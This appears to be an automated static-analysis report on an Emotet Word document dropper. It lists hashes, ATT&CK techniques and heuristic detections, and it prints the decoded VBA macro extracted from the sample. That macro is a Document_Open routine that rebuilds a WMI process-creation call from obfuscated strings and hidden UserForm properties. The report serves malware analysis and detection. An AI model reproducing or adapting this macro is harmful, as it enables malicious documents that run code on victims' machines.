Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 085fc029c8a50931…

MALICIOUS

Office (OLE)

169.9 KB Created: 2020-07-21 16:01:00 Authoring application: Microsoft Office Word First seen: 2020-07-24
MD5: efd28bf6d5c2552e020349890678225e SHA-1: 446ef540212687c5b3decc8cef3456e1aa8e6bb7 SHA-256: 085fc029c8a50931856c8f6f08069c3175212c7ca563911408b2cba997c956b3
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information

The file contains a VBA macro with a Document_Open auto-execution routine, indicative of a malicious document. Heuristics specifically flag a 'VBA UserForm hidden-property command stager' and 'p-code auto-exec with execution tokens', suggesting the macro is designed to download and execute a secondary payload. ClamAV detection further confirms its malicious nature as 'Doc.Dropper.EmotetIOS-9402070-0', a known Emotet variant. The macro's obfuscated string concatenation and use of CreateObject point towards dynamic payload retrieval and execution.

Heuristics 7

  • ClamAV: Doc.Dropper.EmotetIOS-9402070-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.EmotetIOS-9402070-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9496 bytes
SHA-256: cf1120e3670783c7bacdd9b5a21d21b8d9455a3e215162f91aece9e755bc6587
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "hiopyouwjiep"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
paelyeopseujceoproow
End Sub


Attribute VB_Name = "boev"
Attribute VB_Base = "0{8164DB42-8845-4FB7-9078-713D9ADCDA8E}{10DD67BA-5A16-4FCC-A53B-9B2B94BF43FA}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "beayxaorcheogheacgoec"
Function paelyeopseujceoproow()
toaf = Chr(boev.Zoom + 2 + 2 + 2 + 6 + 3)
Dim FCcbSfXm As Date
yoafyoagchepwaivloox = "$12387ghbqhjwg2781vbjkKKb2winm$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2gm$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2t" + toaf + "$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2:wi$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2n32_$12387ghbqhjwg2781vbjkKKb2" + boev.vaithdeurwiawhionxan + "roc$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2es$12387ghbqhjwg2781vbjkKKb2s"
Dim cgaNo As String
cgaNo = Replace$("l6ÆmYk0ÓFMeBnqVGS6ÒGNt", "l6ÆmYk0ÓFMeB", "sw7ÑQNomd")
tak = giaszoidrex(yoafyoagchepwaivloox)
Dim qVcuRkJreP As Object
Set xugliohrialbawyouquvuuh = CreateObject(tak)
Dim lWiD As Byte
geoccookyorhooth = boev.jeokviajxuaz.ControlTipText
Dim OTA4Ït1ÚFEt As Integer
OTA4Ït1ÚFEt = 4
Do While OTA4Ït1ÚFEt < 4 + 9
OTA4Ït1ÚFEt = OTA4Ït1ÚFEt + 2: DoEvents
Loop
chahgoatciofjuzreup = tak + toaf + boev.daiwjuarceocsuy.ControlTipText + geoccookyorhooth
Dim kfTvg As Boolean
mouchkoithxeechtesteuth = chahgoatciofjuzreup + boev.vaithdeurwiawhionxan
Dim ZIh As String
ZIh = Replace$("LUXCnATOCMj3ÚK8âgVUKK", "LUXCnATOC", "hnikNj")
Set zoikcaogguagquauquwaeth = gacfaemguutmoondooth(mouchkoithxeechtesteuth)
Dim kEFMeB As String
kEFMeB = Replace$("oBUVcu3ÜfYMZu", "oBU", "Css")
Dim SpYwyWVL As Boolean
R = Array(N, xugliohrialbawyouquvuuh. _
Create(neothmiopbaebboothpaix, kezbuuvvoifdeavchoapgeup, zoikcaogguagquauquwaeth))
Dim BZIhfU As Boolean
End Function
Function gacfaemguutmoondooth(quoipbexthiathluuytioquwaoh)
Set gacfaemguutmoondooth = CreateObject(quoipbexthiathluuytioquwaoh)
gacfaemguutmoondooth _
. _
showwindow = (jeebkoiquniepwejbeolxeoy + douk) + (yaojgecbaopmoohrauw + ceob)
Dim WaT1Ä As Integer
WaT1Ä = 7
Do While WaT1Ä < 7 + 8
WaT1Ä = WaT1Ä + 1: DoEvents
Loop
End Function
Function giaszoidrex(paoch)
ceakthouvfoowxeicheahkein = paoch
Dim CgR As String
CgR = Replace$("ahwG4ÏbmiIGgfVVa", "ahwG4Ï", "facqb")
voith = Split(ceakthouvfoowxeicheahkein, "$12387ghbqhjwg2781vbjkKKb2")
Dim kX6Å6ÊSv6Û7ÊI As String
kX6Å6ÊSv6Û7ÊI = Replace$("Wo2áZSYIvyl6Ëc8", "Wo2áZS", "eIroHmnBW")
niphoonlaoqumofthab = posx + Join(voith, posx)
Dim mnsIBRYFOu As String
mnsIBRYFOu = Replace$("V4ÜYNMoDtJHyYIF", "V4ÜYNMoDtJ", "U3ÑRm")
giaszoidrex = niphoonlaoqumofthab
Dim JKR As String
JKR = Replace$("dGcnGlYoQP1ÈjJPKM", "dGcnGlY", "WfNkTHqfe")
End Function
Function neothmiopbaebboothpaix()
io = boev.boathvoksiepzed.Pages(1).ControlTipText
Dim EJCoQlgkOA As Integer
EJCoQlgkOA = 5
Do While EJCoQlgkOA < 5 + 3
EJCoQlgkOA = EJCoQlgkOA + 6: DoEvents
Loop
neothmiopbaebboothpaix = giaszoidrex(io)
End Function


' Processing file: /opt/analyzer/scan_staging/d01feaa8a72b49c5a451f2689c62573c.bin
' ===============================================================================
' Module streams:
' Macros/VBA/hiopyouwjiep - 1369 bytes
' Line #0:
' 	LineCont 0x0004 02 00 00 00
' 	FuncDefn (Sub hiopyouwjiep())
' Line #1:
' 	ArgsCall Document_open 0x0000 
' Line #2:
' 	EndSub 
' Line #3:
' Macros/VBA/boev - 1183 bytes
' Macros/VBA/beayxaorcheogheacgoec - 5377 bytes
' Line #0:
' 	FuncDefn (Function Document_open())
' Line #1:
' 	Ld boev 
' 	MemLd Chr 
' 	LitDI2 0x0002 
' 	Add 
' 	LitDI2 0x0002 
' 	Add 
' 	LitDI2 0x0002 
' 	Add 
' 	LitDI2 0x0006 
' 	Add
... (truncated)

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